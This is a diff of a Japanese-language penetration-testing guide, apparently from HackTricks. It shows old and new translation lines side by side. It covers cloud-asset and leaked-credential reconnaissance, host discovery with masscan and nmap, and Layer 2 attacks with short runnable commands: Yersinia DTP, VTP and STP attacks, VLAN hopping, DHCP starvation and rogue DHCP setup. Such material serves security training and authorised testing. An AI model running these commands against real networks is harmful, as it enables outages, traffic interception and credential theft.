企業に属する潜在的なクラウド資産を見つけるには、**その企業を特定するキーワードのリストから始める**べきです。たとえば、暗号通貨会社の場合、次のような単語を使用することがあります: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
また、**バケットで使用される一般的な単語のワードリスト**も必要です:
@ -510,15 +510,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
次に、れらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](#second-dns-bruteforce-round)を参照してください)。
次に、れらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](#second-dns-bruteforce-round)を参照してください)。
生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**べきです。
クラウド資産を探す際には、**AWSのバケット以上のものを探す**べきです。
### **脆弱性の検索**
**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、悪用できるかどうかを確認する必要があります。
**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセス**して、何を提供しているのか、どのように悪用できるかを確認する必要があります。
## メール
@ -531,11 +531,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **脆弱性の検索**
メールは、**ウェブログインや認証サービス**SSHなどを**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物に関するさらなる情報**を提供してくれます。これはフィッシングキャンペーンに役立ちます。
メールは、**ウェブログインや認証サービス**SSHなどを**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物に関するさらなる情報**を提供してくれるため、フィッシングキャンペーンに役立ちます。
## 資格情報の漏洩
**ドメイン、** **サブドメイン、** **メール**を使用して、過去に漏洩した資格情報を探し始めることができます:
**ドメイン、** **サブドメイン、** **メール**を持っているので、過去に漏洩したそのメールに関連する資格情報を探し始めることができます:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
@ -546,7 +546,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 秘密の漏洩
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。しかし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
### Githubの漏洩
@ -566,13 +566,13 @@ github-leaked-secrets.md
### Pasteの漏洩
時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\
[**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイト同時に検索できます。
**Pastos**というツールを使用して、80以上のペーストサイト同時に検索できます。
### Google Dorks
古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、**[**Gorks**](https://github.com/carlospolop/Gorks)**のようなツールを使用してすべてを実行することができます。**
_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わらないことに注意してください。_
_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、Googleが非常に早くブロックするため、決して終わらないことに注意してください。_
### **脆弱性の検索**
@ -580,7 +580,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
## 公開コードの脆弱性
企業が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。
企業が**オープンソースコード**を持っている場合、それを**分析**して**脆弱性**を探すことができます。
**言語によって**異なる**ツール**を使用できます:
@ -594,24 +594,24 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
## [**ウェブペンテスト手法**](../../network-services-pentesting/pentesting-web/index.html)
**バグハンター**によって見つかった**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/index.html)。
**バグハンターによって見つけられる脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/index.html)。
また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに役立ちます。**
また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます。**
## 再確認
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
> おめでとうございます!この時点で、**すべての基本的な列挙**を実行しました。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
したがって、すでに次のことを行っています
したがって、すでに以下を行いました
1. スコープ内のすべての**企業**を見つけた
2. 企業に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行)
3. 企業に属するすべての**ドメイン**を見つけた
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
5. スコープ内のすべての**IP**CDNからのものとそうでないものを見つけた
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものは?)
7. 企業に属するすべての**潜在的なパブリッククラウド資産**を見つけた
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利**を得ることができる
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
9. 見つけたすべてのウェブを**ペンテスト**
## **フルリコン自動ツール**

View File

@ -12,8 +12,8 @@
### ICMP
これは、ホストが稼働しているかどうかを発見するための**最も簡単**で**最速**な方法です。\
いくつかの**ICMP**パケットを送信し、**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な`ping`を使用するか、**範囲**のために`fping`を使用して行うことができます。\
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできますこれにより、一般的なICMPエコーリクエスト-応答に対するフィルターを回避できます)。
いくつかの**ICMP**パケットを送信し、**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な `ping` を使用するか、**範囲**のために `fping` を使用して行うことができます。\
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできますこれにより、一般的なICMPエコーリクエスト-応答フィルターを回避できます)。
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -21,23 +21,23 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCPポート発見
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**だけです。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、各ホストの**各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**です。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、各ホストの**各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
そのため、必要なのは**高速ポートスキャナー**[masscan](https://github.com/robertdavidgraham/masscan))と、**最も使用されるポートのリスト**です:
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
このステップは `nmap` を使っても実行できますが、遅く、`nmap` はホストの識別に問題があります。
`nmap`を使ってこのステップを実行することもできますが、遅く、`nmap`はホストの識別に問題があります。
### HTTP ポート発見
### HTTPポート発見
これは、**HTTP** **サービス** の発見に焦点を当てたいときに便利な TCP ポート発見です:
これは、**HTTP** **サービス**の発見に焦点を当てたいときに便利なTCPポート発見です
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDPポート発見
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払う**べきかを判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払うべきか**を判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データを返さない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -60,7 +60,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
## 内部からのホストの発見
ネットワーク内にいる場合、最初に行いたいことの一つは**他のホストを発見すること**です。**どれだけのノイズ**を出すことができるか/したいかによって、異なるアクションを実行できます:
ネットワーク内にいる場合、最初に行いたいことの一つは**他のホストを発見すること**です。**どれだけのノイズ**を出すことができるか/したいかによって、異なるアクションを実行できます:
### パッシブ
@ -109,7 +109,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
Wake On Lanは、**ネットワークメッセージ**を通じてコンピュータを**起動する**ために使用されます。コンピュータを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後同じパケット内で**16回繰り返される**だけのパケットです。\
この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\
**\[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信されブロードキャストMACが繰り返されるものになります)。
**[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信されブロードキャストMACが繰り返されることになります)。
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
@ -170,19 +170,21 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDSとIPSの回避
{{#ref}}
ids-evasion.md
{{#endref}}
### **より多くのnmapオプション**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### 内部IPアドレスの明示
**誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**を利用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linux上で、**eth2インターフェース**でパケットをキャプチャできます。あなたのセットアップがNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意することが重要です。
**誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**を利用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース**上でパケットをキャプチャできます。インターネットからアクセス可能です。NATやファイアウォールの背後にセットアップがある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意が必要です。
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## スニッフィング
スニッフィングでは、キャプチャされたフレームやパケットをレビューすることで、IPレンジ、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されている場合やスイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。
スニッフィングでは、キャプチャされたフレームやパケットをレビューすることで、IPレンジ、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されている場合やスイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。
スイッチされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとあなたのMACアドレス宛てのデータのみが表示されます。
@ -256,11 +258,11 @@ macof -i <interface>
#### ダイナミックトランク
**ダイナミックトランクプロトコル (DTP)** は、トランクの自動システムを促進するために設計されたリンク層プロトコルであり、スイッチがトランクモードTrunkまたは非トランクモードのポートを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみ手動でトランクを構成し、適切な文書化を確保することの重要性を強調します。
**ダイナミックトランクプロトコル (DTP)** は、トランクを自動的に選択するためのリンク層プロトコルとして設計されており、スイッチがトランクモードTrunkまたは非トランクモードを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみ手動でトランクを構成し、適切な文書化を確保することの重要性を強調します。
デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirableフレームを送信してポートをトランクモードに強制する場合に生じます。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードのみがVLANホッピング攻撃に対して免疫を持つ構成です。このツールは、スイッチの脆弱性状態を評価します。
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードはVLANホッピング攻撃に対して唯一免疫のある構成です。このツールは、スイッチの脆弱性状態を評価します。
ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。
```bash
@ -279,7 +281,7 @@ VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://gith
```
sudo python3 DTPHijacking.py --interface eth0
```
**Access/Desirable (0x03)**は、DTPフレームがDesirableタイプであることを示し、ポートにTrunkモードに切り替えるよう指示します。また、**802.1Q/802.1Q (0xa5)**は**802.1Q**カプセル化タイプを示します。
私は**Access/Desirable (0x03)**がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードに切り替えるよう指示することを指摘たいと思います。また、**802.1Q/802.1Q (0xa5)**は**802.1Q**カプセル化タイプを示します。
STPフレームを分析することで、**VLAN 30とVLAN 60の存在について学びます。**
@ -323,13 +325,13 @@ sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
議論された攻撃である**Dynamic Trunkingと仮想インターフェースの作成、他のVLAN内のホストの発見**は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
議論された攻撃である**Dynamic Trunkingと仮想インターフェースを作成し、他のVLAN内のホストを発見する**は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
攻撃者が**被害者ホストのMAC、IP、およびVLAN IDの値**を知っている場合、彼は**フレームをダブルタグ**し、指定されたVLANと被害者のVLANでパケットを送信しようとすることができます。**被害者は攻撃者と接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信すること**です。これにより、いくつかの興味深いアクションを実行できるプロトコルSNMPなどと通信できます。
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行すること**ですおそらくインターネットを介して。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングを行うことができます。
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行する**ことですおそらくインターネットを介して。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングを行うことができます。
![](<../../images/image (190).png>)
@ -350,38 +352,38 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーションプライベートVLANとも呼ばれる**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を利用し、IPパケットがルーターを通じて同じネットワーク上の別のクライアントにルーティングされることを可能にします。
特定の環境、例えばゲスト無線ネットワークでは、**ポートアイソレーションプライベートVLANとも呼ばれる**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信できないようにされています。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な設定を利用し、IPパケットがルーターを通じて同じネットワーク内の別のクライアントにルーティングされることを可能にします。
攻撃は、**宛先クライアントのIPアドレスを持ち、ルーターのMACアドレスを持つパケットを作成することによって実行されます**。これにより、ルーターはパケットをターゲットクライアントに誤って転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
**攻撃の主要なステップ**
**攻撃の主要なステップ:**
1. **パケットの作成** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。
2. **ルーターの動作を悪用** 作成されたパケットがルーターに送信され、構成によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。
2. **ルーターの動作を悪用:** 作成されたパケットはルーターに送信され、設定によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
### VTP Attacks
VTPVLANトランキングプロトコルはVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の構成を採用し、自身のVLANデータベースを更新します。
VTPVLANトランキングプロトコルはVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の設定を採用し、自身のVLANデータベースを更新します。
#### VTP Domain Roles
- **VTPサーバー** VLANを管理します—作成、削除、変更します。ドメインメンバーにVTPアナウンスをブロードキャストします。
- **VTPクライアント** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN構成の変更が制限されています。
- **VTPトランスペアレント** VTP更新に関与せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。
- **VTPサーバー:** VLANを管理します—作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。
- **VTPクライアント:** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN設定の変更が制限されています。
- **VTPトランスペアレント:** VTP更新に関与せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。
#### VTP Advertisement Types
- **サマリーアナウンス** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を運びます。
- **サブセットアナウンス** VLAN構成変更後に送信されます。
- **アナウンスリクエスト** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い構成リビジョン番号を検出した際に行われます。
- **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を含みます。
- **サブセットアナウンス:** VLAN設定変更後に送信されます。
- **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い設定リビジョン番号を検出した際に行われます。
VTPの脆弱性は、VTPアナウンスがトランクポートを通じてのみ循環するため、トランクポートを介してのみ悪用可能です。DTP攻撃後のシナリオはVTPに移行する可能性があります。Yersiniaのようなツールは、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目的としたVTP攻撃を支援できます。
注意この議論はVTPバージョン1VTPv1に関するものです。
注意: この議論はVTPバージョン1VTPv1に関するものです。
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
Yersiniaのグラフィカルモードで、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します。
Yersiniaのグラフィカルモードで、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します。
### STP攻撃
@ -397,14 +399,14 @@ yersinia stp -attack 3
```
#### **STP TCP攻撃**
TCPが送信されると、スイッチのCAMテーブルは15秒で削除されます。その後、この種のパケットを継続的に送信している、CAMテーブルは継続的にまたは15秒ごとに再起動され、再起動されるとスイッチはハブのように動作します。
TCPが送信されると、スイッチのCAMテーブルは15秒で削除されます。その後、この種のパケットを継続的に送信している場合、CAMテーブルは継続的にまたは15秒ごとに再起動され、再起動されるとスイッチはハブのように動作します。
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STPルート攻撃**
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、2つの異なるスイッチに接続されているときに興味深いです。\
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、異なる2つのスイッチに接続されているときに興味深いです。\
これは、実際のルートスイッチの実際の優先度よりも**優先度**値が低いと伝えるBPDUs CONFパケットを送信することによって行われます。
```bash
yersinia stp -attack 4 #Behaves like the root switch
@ -417,11 +419,11 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
```
### CDP攻撃
CISCO Discovery Protocol (CDP) は、CISCOデバイス間の通信に不可欠であり、デバイスが**互いを識別し、設定詳細を共有する**ことを可能にします。
CISCO Discovery Protocol (CDP)は、CISCOデバイス間の通信に不可欠であり、デバイスが**互いを識別し、設定詳細を共有する**ことを可能にします。
#### パッシブデータ収集 <a href="#id-0e0f" id="id-0e0f"></a>
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、例えばそのモデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンに存在する脆弱性をターゲットにするかもしれません。
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、例えばそのモデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンにおける脆弱性をターゲットにするかもしれません。
#### CDPテーブルフラッディングの誘発 <a href="#id-0d6a" id="id-0d6a"></a>
@ -446,22 +448,22 @@ VoIP電話は、IoTデバイスとますます統合されており、特別な
ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話をエミュレートするように設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。
**VoIP Hopper**は、Cisco Discovery Protocol (CDP)のための3つのモードを提供します
**VoIP Hopper**は、Cisco Discovery ProtocolCDP用に3つのモードを提供します
1. **スニフモード** (`-c 0`): ネットワークパケットを分析してVLAN IDを特定します。
2. **スプーフモード** (`-c 1`): 実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
3. **事前作成パケットモード** (`-c 2`): 特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
1. **スニフモード**`-c 0`ネットワークパケットを分析してVLAN IDを特定します。
2. **スプーフモード**`-c 1`実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
3. **事前作成パケットモード**`-c 2`特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
速度のために推奨されるモードは3番目です。以下を指定する必要があります:
速度のために推奨されるモードは3番目です。次のことを指定する必要があります:
- 攻撃者のネットワークインターフェース(`-i`パラメータ)。
- エミュレートされるVoIPデバイスの名前`-E`パラメータ、Ciscoの命名形式SEPの後にMACアドレスに従います。
企業環境では、既存のVoIPデバイスを模倣するために、次のようにすることがあります:
企業環境では、既存のVoIPデバイスを模倣するために、次のことを行うことがあります:
- 電話のMACラベルを確認します。
- 電話のディスプレイ設定をナビゲートしてモデル情報を表示します。
- VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察します。
- 電話のMACラベルを確認す
- 電話のディスプレイ設定をナビゲートしてモデル情報を表示す
- VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察す
ツールを3番目のモードで実行するためのコマンドの例は次のとおりです
```bash
@ -499,24 +501,24 @@ yersinia dhcp -attack 3 #More parameters are needed
```
より自動化された方法は、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用することです。
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続を試みるときに、**次の攻撃で言及される悪意のある値を提供できます**。
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。正当なサーバーが再接続しようとするときに、**次の攻撃で言及されている悪意のある値を提供できます**。
#### 悪意のある値を設定する
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py` にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするようなネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが推奨されます。
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするためのネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが推奨されます。
以下は、不正なDHCPサーバーを構成するためのコマンドオプションです
- **私たちのIPアドレスゲートウェイ広告**: `-i 10.0.0.100` を使用して、あなたのマシンのIPをゲートウェイとして広告します。
- **ローカルDNSドメイン名**: オプションで、`-d example.org` を使用してローカルDNSドメイン名を設定します。
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1` を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
- **プライマリDNSサーバーIP**: `-p 10.0.0.100` を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
- **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1` を使用してセカンダリDNSサーバーのIPを設定します。
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0` を使用して、ローカルネットワークのネットマスクを定義します。
- **DHCPトラフィック用インターフェース**: `-I eth1` を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
